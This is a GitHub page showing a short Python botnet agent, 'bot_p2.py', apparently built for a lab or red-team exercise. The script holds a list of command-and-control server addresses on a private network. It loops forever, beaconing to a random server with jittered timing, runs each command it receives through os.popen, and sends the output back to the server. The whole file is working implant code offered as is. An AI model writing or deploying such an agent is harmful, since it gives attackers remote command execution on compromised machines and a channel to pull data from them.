-
Notifications
You must be signed in to change notification settings - Fork 1
/
bot_p2.py
executable file
·88 lines (81 loc) · 1.89 KB
/
bot_p2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/env python
import os, requests, time, socket, json, random, sys
ips = [
'192.168.5.147',
'192.168.5.152',
'192.168.5.164',
'192.168.5.183',
'192.168.5.196',
'192.168.5.197',
'192.168.5.3',
'192.168.5.31',
'192.168.5.33',
'192.168.5.79',
'192.168.5.94',
'192.168.6.103',
'192.168.6.141',
'192.168.6.151',
'192.168.6.161',
'192.168.6.192',
'192.168.6.193',
'192.168.6.211',
'192.168.6.6',
'192.168.6.82'
]
"""
Function: getIP
Parameters: None
Returns: IP of bot
Description: Uses a socket to determine IP of Bot
"""
def getIP():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
# doesn't even have to be reachable
s.connect(('10.255.255.255', 1))
IP = s.getsockname()[0]
except:
IP = '127.0.0.1'
finally:
s.close()
return IP
"""
Function: beacon
Parameters: None
Returns: None
Description: Loops infinately and beacons to c2 server. Recieves commands
and sends back command output
"""
def beacon():
#loop
while True:
cmds = {}
ip = getIP()
arkIP = random.choice(ips)
#random offset to vary beacon timing
offset = random.randrange(-7,7)
#commands from server to run
try:
commands = requests.get('http://{}/beacon?ip={}'.format(arkIP, ip))
except expression as E:
pass
#catch error for bot not being in botlist on server
if commands.status_code == 500:
continue
commands = json.loads(str(commands.content))
#check empty command set
if commands != '[]':
for cmd in commands:
#executes comand
cmds[cmd] = os.popen(cmd).read()
#send confirmation of command being run
try:
requests.get('http://{}/confirm?ip={}&cmd={}&output={}'.format(arkIP, ip, cmd, cmds[cmd]))
except expression as E:
pass
#print commands
#print(cmds)
#TODO send command respone to server
#wait 3 to 17 seconds to callback
time.sleep(10 + offset)
beacon()